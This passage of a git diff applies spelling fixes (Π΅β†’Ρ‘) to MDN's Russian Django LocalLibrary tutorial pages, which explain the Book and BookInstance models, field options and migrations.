Π²Ρ‹Π±Ρ€Π°Π½, ΠΈ on_delete = models.Β <code>SET_NULLΒ </code>установит Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π°Π²Ρ‚ΠΎΡ€Π° Π² Null, Ссли связанная ΡΒ Π°Π²Ρ‚ΠΎΡ€ΠΎΠΌΒ Π·Π°ΠΏΠΈΡΡŒ Π±ΡƒΠ΄Π΅Ρ‚ ΡƒΠ΄Π°Π»Π΅Π½Π°.</p>
+<p>Π’ ΠΎΠ±ΠΎΠΈΡ… Ρ‚ΠΈΠΏΠ°Ρ… ΠΏΠΎΠ»Π΅ΠΉ ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠΉ класс ΠΌΠΎΠ΄Π΅Π»ΠΈ ΠΎΠ±ΡŠΡΠ²Π»ΡΠ΅Ρ‚ΡΡ ΠΊΠ°ΠΊ ΠΏΠ΅Ρ€Π²Ρ‹ΠΉ Π½Π΅ΠΈΠΌΠ΅Π½ΠΎΠ²Π°Π½Π½Ρ‹ΠΉ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ Π»ΠΈΠ±ΠΎ класс ΠΌΠΎΠ΄Π΅Π»ΠΈ, Π»ΠΈΠ±ΠΎ строку, ΡΠΎΠ΄Π΅Ρ€ΠΆΠ°Ρ‰ΡƒΡŽ имя ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰Π΅ΠΉ ΠΌΠΎΠ΄Π΅Π»ΠΈ. Π’Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ имя ΠΌΠΎΠ΄Π΅Π»ΠΈ ΠΊΠ°ΠΊ строку, Ссли связанный класс Π΅Ρ‰Ρ‘ Π½Π΅ Π±Ρ‹Π» ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½ Π² этом Ρ„Π°ΠΉΠ»Π΅ Π΄ΠΎ Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ ΠΎΠ½ Π±ΡƒΠ΄Π΅Ρ‚ ΡƒΠΊΠ°Π·Π°Π½! Π”Ρ€ΡƒΠ³ΠΈΠΌΠΈ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π°ΠΌΠΈ, ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΡŽΡ‰ΠΈΠΌΠΈ интСрСс для поля Π°Π²Ρ‚ΠΎΡ€Π°, ΡΠ²Π»ΡΡŽΡ‚ΡΡ <code>null=True</code>, котороС позволяСт Π±Π°Π·Π΅ Π΄Π°Π½Π½Ρ‹Ρ… Ρ…Ρ€Π°Π½ΠΈΡ‚ΡŒΒ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code>Null</code>Β , Ссли Π°Π²Ρ‚ΠΎΡ€ Π½Π΅ Π²Ρ‹Π±Ρ€Π°Π½, ΠΈ on_delete = models.Β <code>SET_NULLΒ </code>установит Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π°Π²Ρ‚ΠΎΡ€Π° Π² Null, Ссли связанная ΡΒ Π°Π²Ρ‚ΠΎΡ€ΠΎΠΌΒ Π·Π°ΠΏΠΈΡΡŒ Π±ΡƒΠ΄Π΅Ρ‚ ΡƒΠ΄Π°Π»Π΅Π½Π°.</p>
<p>МодСль Ρ‚Π°ΠΊΠΆΠ΅ опрСдСляСт __str __ (), ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ ΠΏΠΎΠ»Π΅ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ° ΠΊΠ½ΠΈΠ³ΠΈ для прСдставлСния ΠΊΠ½ΠΈΠ³ΠΈ. ΠžΠΊΠΎΠ½Ρ‡Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹ΠΉ ΠΌΠ΅Ρ‚ΠΎΠ΄ get_absolute_url () Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ URL-адрСс, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΠΎΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ для доступа ΠΊ ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½ΠΎΠΉ записи для этой ΠΌΠΎΠ΄Π΅Π»ΠΈ (для этого Π½Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ сопоставлСниС URL-адрСсов, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ содСрТится подробная информация ΠΎ ΠΊΠ½ΠΈΠ³Π΅, ΠΈ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ связанноС прСдставлСниС ΠΈ шаблон ).</p>
<h3 id="МодСль_BookInstance">МодСль BookInstance</h3>
-<p>Π—Π°Ρ‚Π΅ΠΌ скопируйтС модСль BookInstance (ΠΏΠΎΠΊΠ°Π·Π°Π½ΠΎ Π½ΠΈΠΆΠ΅) ΠΏΠΎΠ΄ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ ΠΌΠΎΠ΄Π΅Π»ΠΈ. BookInstance прСдставляСт собой ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΡƒΡŽ копию ΠΊΠ½ΠΈΠ³ΠΈ, ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ ΠΊΡ‚ΠΎ-Ρ‚ΠΎ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ€Π°Ρ‚ΡŒ Π²Π·Π°ΠΉΠΌΡ‹, ΠΈ Π²ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ ΠΎ Ρ‚ΠΎΠΌ, доступна Π»ΠΈ копия ΠΈΠ»ΠΈ Π² ΠΊΠ°ΠΊΠΎΠΉ дСнь ΠΎΠ½Π° оТидаСтся, Β«ΠΎΡ‚ΠΏΠ΅Ρ‡Π°Ρ‚ΠΎΠΊΒ» ΠΈΠ»ΠΈ свСдСния ΠΎ вСрсии, Π° Ρ‚Π°ΠΊΠΆΠ΅ ΡƒΠ½ΠΈΠΊΠ°Π»ΡŒΠ½Ρ‹ΠΉ ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ‚ΠΎΡ€ ΠΊΠ½ΠΈΠ³ΠΈ Π² Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠ΅. Π’Π΅ΠΏΠ΅Ρ€ΡŒ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈΠ· ΠΏΠΎΠ»Π΅ΠΉ ΠΈ ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠ² Π±ΡƒΠ΄ΡƒΡ‚ Π·Π½Π°ΠΊΠΎΠΌΡ‹. МодСль ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚</p>
+<p>Π—Π°Ρ‚Π΅ΠΌ скопируйтС модСль BookInstance (ΠΏΠΎΠΊΠ°Π·Π°Π½ΠΎ Π½ΠΈΠΆΠ΅) ΠΏΠΎΠ΄ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ ΠΌΠΎΠ΄Π΅Π»ΠΈ. BookInstance прСдставляСт собой ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΡƒΡŽ копию ΠΊΠ½ΠΈΠ³ΠΈ, ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ ΠΊΡ‚ΠΎ-Ρ‚ΠΎ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ€Π°Ρ‚ΡŒ Π²Π·Π°ΠΉΠΌΡ‹, ΠΈ Π²ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ ΠΎ Ρ‚ΠΎΠΌ, доступна Π»ΠΈ копия ΠΈΠ»ΠΈ Π² ΠΊΠ°ΠΊΠΎΠΉ дСнь ΠΎΠ½Π° оТидаСтся, Β«ΠΎΡ‚ΠΏΠ΅Ρ‡Π°Ρ‚ΠΎΠΊΒ» ΠΈΠ»ΠΈ свСдСния ΠΎ вСрсии, Π° Ρ‚Π°ΠΊΠΆΠ΅ ΡƒΠ½ΠΈΠΊΠ°Π»ΡŒΠ½Ρ‹ΠΉ ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ‚ΠΎΡ€ ΠΊΠ½ΠΈΠ³ΠΈ Π² Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠ΅. Π’Π΅ΠΏΠ΅Ρ€ΡŒ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈΠ· ΠΏΠΎΠ»Π΅ΠΉ ΠΈ ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠ² Π±ΡƒΠ΄ΡƒΡ‚ Π·Π½Π°ΠΊΠΎΠΌΡ‹. МодСль ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚</p>
<ul>
<li>ForeignKey для ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ связанной ΠΊΠ½ΠΈΠ³ΠΈ (Π² ΠΊΠ°ΠΆΠ΄ΠΎΠΉ ΠΊΠ½ΠΈΠ³Π΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΌΠ½ΠΎΠ³ΠΎ ΠΊΠΎΠΏΠΈΠΉ, Π½ΠΎ Π² ΠΊΠΎΠΏΠΈΠΈ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΎΠ΄Π½Π° ΠΊΠ½ΠΈΠ³Π°).</li>
@@ -361,7 +361,7 @@ class BookInstance(models.Model):
<ul>
<li><code>UUIDField</code> ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ для поля id, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ Π΅Π³ΠΎ ΠΊΠ°ΠΊ primary_key для этой ΠΌΠΎΠ΄Π΅Π»ΠΈ. Π­Ρ‚ΠΎΡ‚ Ρ‚ΠΈΠΏ поля выдСляСт глобальноС ΡƒΠ½ΠΈΠΊΠ°Π»ΡŒΠ½ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ для ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ экзСмпляра (ΠΏΠΎ ΠΎΠ΄Π½ΠΎΠΌΡƒ для ΠΊΠ°ΠΆΠ΄ΠΎΠΉ ΠΊΠ½ΠΈΠ³ΠΈ, ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π½Π°ΠΉΡ‚ΠΈ Π² Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠ΅).</li>
<li><code>DateField</code> ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ для Π΄Π°Π½Π½Ρ‹Ρ… due_back (ΠΏΡ€ΠΈ ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… оТидаСтся, Ρ‡Ρ‚ΠΎ ΠΊΠ½ΠΈΠ³Π° появится послС заимствования ΠΈΠ»ΠΈ обслуТивания). Π­Ρ‚ΠΎ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ blank ΠΈΠ»ΠΈ null (Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ, ΠΊΠΎΠ³Π΄Π° ΠΊΠ½ΠΈΠ³Π° доступна). ΠœΠ΅Ρ‚Π°Π΄Π°Π½Π½Ρ‹Π΅ ΠΌΠΎΠ΄Π΅Π»ΠΈ (Class Meta) ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ это ΠΏΠΎΠ»Π΅ для упорядочивания записСй, ΠΊΠΎΠ³Π΄Π° ΠΎΠ½ΠΈ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°ΡŽΡ‚ΡΡ Π² запросС.</li>
- <li>status - это CharField, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ опрСдСляСт список choice/selection. Как Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π²ΠΈΠ΄Π΅Ρ‚ΡŒ, ΠΌΡ‹ опрСдСляСм ΠΊΠΎΡ€Ρ‚Π΅ΠΆ, содСрТащий ΠΊΠΎΡ€Ρ‚Π΅ΠΆΠΈ ΠΏΠ°Ρ€ ΠΊΠ»ΡŽΡ‡-Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΈ ΠΏΠ΅Ρ€Π΅Π΄Π°Π΅ΠΌ Π΅Π³ΠΎ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Ρƒ Π²Ρ‹Π±ΠΎΡ€Π°. Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π² key/value ΠΏΠ°Ρ€Π΅ - это ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Π΅ΠΌΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ ΠΌΠΎΠΆΠ΅Ρ‚ Π²Ρ‹Π±Ρ€Π°Ρ‚ΡŒ, Π° ΠΊΠ»ΡŽΡ‡ΠΈ - это значСния, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ фактичСски ΡΠΎΡ…Ρ€Π°Π½ΡΡŽΡ‚ΡΡ, Ссли Π²Ρ‹Π±Ρ€Π°Π½Π° опция. ΠœΡ‹ Ρ‚Π°ΠΊΠΆΠ΅ установили Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ Β«mΒ» (тСхничСскоС обслуТиваниС), ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ ΠΊΠ½ΠΈΠ³ΠΈ ΠΈΠ·Π½Π°Ρ‡Π°Π»ΡŒΠ½ΠΎ Π±ΡƒΠ΄ΡƒΡ‚ созданы нСдоступными Π΄ΠΎ Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ ΠΎΠ½ΠΈ Π±ΡƒΠ΄ΡƒΡ‚ Ρ…Ρ€Π°Π½ΠΈΡ‚ΡŒΡΡ Π½Π° ΠΏΠΎΠ»ΠΊΠ°Ρ….</li>
+ <li>status - это CharField, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ опрСдСляСт список choice/selection. Как Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π²ΠΈΠ΄Π΅Ρ‚ΡŒ, ΠΌΡ‹ опрСдСляСм ΠΊΠΎΡ€Ρ‚Π΅ΠΆ, содСрТащий ΠΊΠΎΡ€Ρ‚Π΅ΠΆΠΈ ΠΏΠ°Ρ€ ΠΊΠ»ΡŽΡ‡-Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΈ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‘ΠΌ Π΅Π³ΠΎ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Ρƒ Π²Ρ‹Π±ΠΎΡ€Π°. Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π² key/value ΠΏΠ°Ρ€Π΅ - это ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Π΅ΠΌΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ ΠΌΠΎΠΆΠ΅Ρ‚ Π²Ρ‹Π±Ρ€Π°Ρ‚ΡŒ, Π° ΠΊΠ»ΡŽΡ‡ΠΈ - это значСния, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ фактичСски ΡΠΎΡ…Ρ€Π°Π½ΡΡŽΡ‚ΡΡ, Ссли Π²Ρ‹Π±Ρ€Π°Π½Π° опция. ΠœΡ‹ Ρ‚Π°ΠΊΠΆΠ΅ установили Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ Β«mΒ» (тСхничСскоС обслуТиваниС), ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ ΠΊΠ½ΠΈΠ³ΠΈ ΠΈΠ·Π½Π°Ρ‡Π°Π»ΡŒΠ½ΠΎ Π±ΡƒΠ΄ΡƒΡ‚ созданы нСдоступными Π΄ΠΎ Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ ΠΎΠ½ΠΈ Π±ΡƒΠ΄ΡƒΡ‚ Ρ…Ρ€Π°Π½ΠΈΡ‚ΡŒΡΡ Π½Π° ΠΏΠΎΠ»ΠΊΠ°Ρ….</li>
</ul>
<p>МодСль __str __ () прСдставляСт ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ BookInstance, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ ΠΊΠΎΠΌΠ±ΠΈΠ½Π°Ρ†ΠΈΡŽ Π΅Π³ΠΎ ΡƒΠ½ΠΈΠΊΠ°Π»ΡŒΠ½ΠΎΠ³ΠΎ ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ‚ΠΎΡ€Π° ΠΈ связанного с Π½ΠΈΠΌ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ° ΠΊΠ½ΠΈΠ³ΠΈ.</p>
@@ -370,7 +370,7 @@ class BookInstance(models.Model):
<p>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅. НСмного Python:</p>
<ul>
- <li>Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅ΠΌΠΎΠ΅ __str __ (), являСтся Ρ„ΠΎΡ€ΠΌΠ°Ρ‚ΠΈΡ€ΠΎΠ²Π°Π½Π½ΠΎΠΉ строкой. Π’ строкС ΠΌΡ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌ % S для объявлСния 'placeholders'. ПослС строки ΡƒΠΊΠ°ΠΆΠ΅ΠΌ %, Π° Π·Π°Ρ‚Π΅ΠΌ ΠΊΠΎΡ€Ρ‚Π΅ΠΆ, содСрТащий значСния, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π±ΡƒΠ΄ΡƒΡ‚ вставлСны Π² Π·Π°ΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΠΈ. Если Ρƒ вас просто ΠΎΠ΄ΠΈΠ½ Π·Π°ΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒ, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΎΠΏΡƒΡΡ‚ΠΈΡ‚ΡŒ ΠΊΠΎΡ€Ρ‚Π΅ΠΆ - Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, 'МоС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅:% S' % пСрСмСнная.<br>
+ <li>Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅ΠΌΠΎΠ΅ __str __ (), являСтся Ρ„ΠΎΡ€ΠΌΠ°Ρ‚ΠΈΡ€ΠΎΠ²Π°Π½Π½ΠΎΠΉ строкой. Π’ строкС ΠΌΡ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌ % S для объявлСния 'placeholders'. ПослС строки ΡƒΠΊΠ°ΠΆΠ΅ΠΌ %, Π° Π·Π°Ρ‚Π΅ΠΌ ΠΊΠΎΡ€Ρ‚Π΅ΠΆ, содСрТащий значСния, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π±ΡƒΠ΄ΡƒΡ‚ вставлСны Π² Π·Π°ΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΠΈ. Если Ρƒ вас просто ΠΎΠ΄ΠΈΠ½ Π·Π°ΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒ, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΎΠΏΡƒΡΡ‚ΠΈΡ‚ΡŒ ΠΊΠΎΡ€Ρ‚Π΅ΠΆ - Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, 'ΠœΠΎΡ‘ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅:% S' % пСрСмСнная.<br>
<br>
ΠžΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Ρ‚Π°ΠΊΠΆΠ΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅ Π½Π° Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ, хотя этот ΠΏΠΎΠ΄Ρ…ΠΎΠ΄ ΡΠΎΠ²Π΅Ρ€ΡˆΠ΅Π½Π½ΠΎ ΠΏΡ€ΠΈΠΌΠ΅Π½ΠΈΠΌ, Π½ΠΎ ΠΎΠ½ Π±ΠΎΠ»Π΅Π΅ Π½Π΅ являСтся ΠΏΡ€Π΅Π΄ΠΏΠΎΡ‡Ρ‚ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹ΠΌ. Начиная с Python 3, Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΌΠ΅Ρ‚ΠΎΠ΄ format, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€. '{0} ({1})'.formatΒ (self.id, self.book.title). Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡƒΠ·Π½Π°Ρ‚ΡŒ большС ΠΎΠ± этом  <a href="https://www.python.org/dev/peps/pep-3101/">здСсь</a>.</li>
</ul>
@@ -420,7 +420,7 @@ python3 manage.py migrate</code></pre>
<ul>
<li>Π”ΠΎΠ»ΠΆΠ΅Π½ Π»ΠΈ «язык» Π°ΡΡΠΎΡ†ΠΈΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒΡΡ с Book, BookInstance ΠΈΠ»ΠΈ ΠΊΠ°ΠΊΠΈΠΌ-Π»ΠΈΠ±ΠΎ Π΄Ρ€ΡƒΠ³ΠΈΠΌ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠΌ?</li>
- <li>Π”ΠΎΠ»ΠΆΠ½Ρ‹ Π»ΠΈ Π±Ρ‹Ρ‚ΡŒ прСдставлСны Ρ€Π°Π·Π½Ρ‹Π΅ языки с использованиСм ΠΌΠΎΠ΄Π΅Π»ΠΈ, свободного тСкстового поля ΠΈΠ»ΠΈ ТСстко Π·Π°ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠΈΡ€ΠΎΠ²Π°Π½Π½ΠΎΠ³ΠΎ списка Π²Ρ‹Π±ΠΎΡ€Π°?</li>
+ <li>Π”ΠΎΠ»ΠΆΠ½Ρ‹ Π»ΠΈ Π±Ρ‹Ρ‚ΡŒ прСдставлСны Ρ€Π°Π·Π½Ρ‹Π΅ языки с использованиСм ΠΌΠΎΠ΄Π΅Π»ΠΈ, свободного тСкстового поля ΠΈΠ»ΠΈ Тёстко Π·Π°ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠΈΡ€ΠΎΠ²Π°Π½Π½ΠΎΠ³ΠΎ списка Π²Ρ‹Π±ΠΎΡ€Π°?</li>
</ul>
<p>ПослС Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ Π²Ρ‹ Ρ€Π΅ΡˆΠΈΠ»ΠΈ, Π΄ΠΎΠ±Π°Π²ΡŒΡ‚Π΅ ΠΏΠΎΠ»Π΅. Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ нашС Ρ€Π΅ΡˆΠ΅Π½ΠΈΠ΅ Π½Π° GithubΒ <a href="https://github.com/mdn/django-locallibrary-tutorial/blob/master/catalog/models.py">here</a>.</p>
@@ -435,7 +435,7 @@ python3 manage.py migrate</code></pre>
<p>Π’ этой ΡΡ‚Π°Ρ‚ΡŒΠ΅ ΠΌΡ‹ ΡƒΠ·Π½Π°Π»ΠΈ, ΠΊΠ°ΠΊ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΡΡ‚ΡŒΒ ΠΌΠΎΠ΄Π΅Π»ΠΈ, Π° Π·Π°Ρ‚Π΅ΠΌ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΒ ΡΡ‚Ρƒ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ Π² Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠ΅Β ΠΈ Π²Π½Π΅Π΄Ρ€Π΅Π½ΠΈΠΈΒ ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΡ… ΠΌΠΎΠ΄Π΅Π»Π΅ΠΉ для сайта LocalLibrary.</p>
-<p>На этом этапС ΠΌΡ‹ отвлСчСмся ΠΎΡ‚ создания сайта ΠΈ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΈΠΌ <em>Django Administration site</em>. Π­Ρ‚ΠΎΡ‚ сайт ΠΏΠΎΠ·Π²ΠΎΠ»ΠΈΡ‚ Π½Π°ΠΌ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π΄Π°Π½Π½Ρ‹Π΅ Π² Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΡƒ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ ΠΎΡ‚ΠΎΠ±Ρ€Π°Π·ΠΈΡ‚ΡŒ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ Π½Π°ΡˆΠΈΡ… (Π΅Ρ‰Π΅ Π½Π΅ созданных) прСдставлСний ΠΈ шаблонов.</p>
+<p>На этом этапС ΠΌΡ‹ отвлСчёмся ΠΎΡ‚ создания сайта ΠΈ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΈΠΌ <em>Django Administration site</em>. Π­Ρ‚ΠΎΡ‚ сайт ΠΏΠΎΠ·Π²ΠΎΠ»ΠΈΡ‚ Π½Π°ΠΌ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π΄Π°Π½Π½Ρ‹Π΅ Π² Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΡƒ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ ΠΎΡ‚ΠΎΠ±Ρ€Π°Π·ΠΈΡ‚ΡŒ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ Π½Π°ΡˆΠΈΡ… (Π΅Ρ‰Ρ‘ Π½Π΅ созданных) прСдставлСний ΠΈ шаблонов.</p>
<h2 id="Π‘ΠΌΠΎΡ‚Ρ€ΠΈΡ‚Π΅_Ρ‚Π°ΠΊΠΆΠ΅">Π‘ΠΌΠΎΡ‚Ρ€ΠΈΡ‚Π΅ Ρ‚Π°ΠΊΠΆΠ΅</h2>
diff --git a/files/ru/learn/server-side/django/sessions/index.html b/files/ru/learn/server-side/django/sessions/index.html
index cccdb20266..22b6248b35 100644
--- a/files/ru/learn/server-side/django/sessions/index.html
+++ b/files/ru/learn/server-side/django/sessions/index.html
@@ -19,13 +19,13 @@ original_slug: Learn/Server-side/Django/БСссии
<div>{{PreviousMenuNext("Learn/Server-side/Django/Generic_views", "Learn/Server-side/Django/authentication_and_sessions", "Learn/Server-side/Django")}}</div>
